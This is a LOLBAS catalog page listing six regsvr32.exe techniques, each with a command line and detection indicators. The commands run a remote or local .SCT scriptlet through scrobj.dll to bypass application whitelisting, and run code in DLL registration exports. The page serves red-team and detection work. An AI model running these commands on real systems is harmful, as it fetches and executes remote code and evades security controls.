CatalogLOLBAS

LOL · Binary

Regsvr32.exe

6 techniquesWindowsLOLBASGPL-3.0

AWL Bypass

AWL / Policy BypassWindows

Execute the specified remote .SCT script with scrobj.dll.

Use Execute code from remote scriptlet, bypass Application whitelisting

regsvr32 /s /n /u /i:{REMOTEURL:.sct} scrobj.dll
Evidence
Upstream reference
Environment
Local host
Context
user
Native
AWL Bypass
Detection
IOC: regsvr32.exe retrieving files from Internet
IOC: regsvr32.exe executing scriptlet (sct) files
IOC: DotNet CLR libraries loaded into regsvr32.exe
IOC: DotNet CLR Usage Log - regsvr32.exe.log

AWL Bypass

AWL / Policy BypassWindows

Execute the specified local .SCT script with scrobj.dll.

Use Execute code from scriptlet, bypass Application whitelisting

regsvr32.exe /s /u /i:{PATH:.sct} scrobj.dll
Evidence
Upstream reference
Environment
Local host
Context
user
Native
AWL Bypass
Detection
IOC: regsvr32.exe retrieving files from Internet
IOC: regsvr32.exe executing scriptlet (sct) files
IOC: DotNet CLR libraries loaded into regsvr32.exe
IOC: DotNet CLR Usage Log - regsvr32.exe.log

Execute

ExecutionWindows

Execute the specified remote .SCT script with scrobj.dll.

Use Execute code from remote scriptlet, bypass Application whitelisting

regsvr32 /s /n /u /i:{REMOTEURL:.sct} scrobj.dll
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute
Detection
IOC: regsvr32.exe retrieving files from Internet
IOC: regsvr32.exe executing scriptlet (sct) files
IOC: DotNet CLR libraries loaded into regsvr32.exe
IOC: DotNet CLR Usage Log - regsvr32.exe.log

Execute

ExecutionWindows

Execute the specified local .SCT script with scrobj.dll.

Use Execute code from scriptlet, bypass Application whitelisting

regsvr32.exe /s /u /i:{PATH:.sct} scrobj.dll
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute
Detection
IOC: regsvr32.exe retrieving files from Internet
IOC: regsvr32.exe executing scriptlet (sct) files
IOC: DotNet CLR libraries loaded into regsvr32.exe
IOC: DotNet CLR Usage Log - regsvr32.exe.log

Execute

ExecutionWindows

Execute code in a DLL. The code must be inside the exported function `DllRegisterServer`.

Use Execute DLL file

regsvr32.exe /s {PATH:.dll}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute
Detection
IOC: regsvr32.exe retrieving files from Internet
IOC: regsvr32.exe executing scriptlet (sct) files
IOC: DotNet CLR libraries loaded into regsvr32.exe
IOC: DotNet CLR Usage Log - regsvr32.exe.log

Execute

ExecutionWindows

Execute code in a DLL. The code must be inside the exported function `DllUnRegisterServer`.

Use Execute DLL file

regsvr32.exe /u /s {PATH:.dll}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute
Detection
IOC: regsvr32.exe retrieving files from Internet
IOC: regsvr32.exe executing scriptlet (sct) files
IOC: DotNet CLR libraries loaded into regsvr32.exe
IOC: DotNet CLR Usage Log - regsvr32.exe.log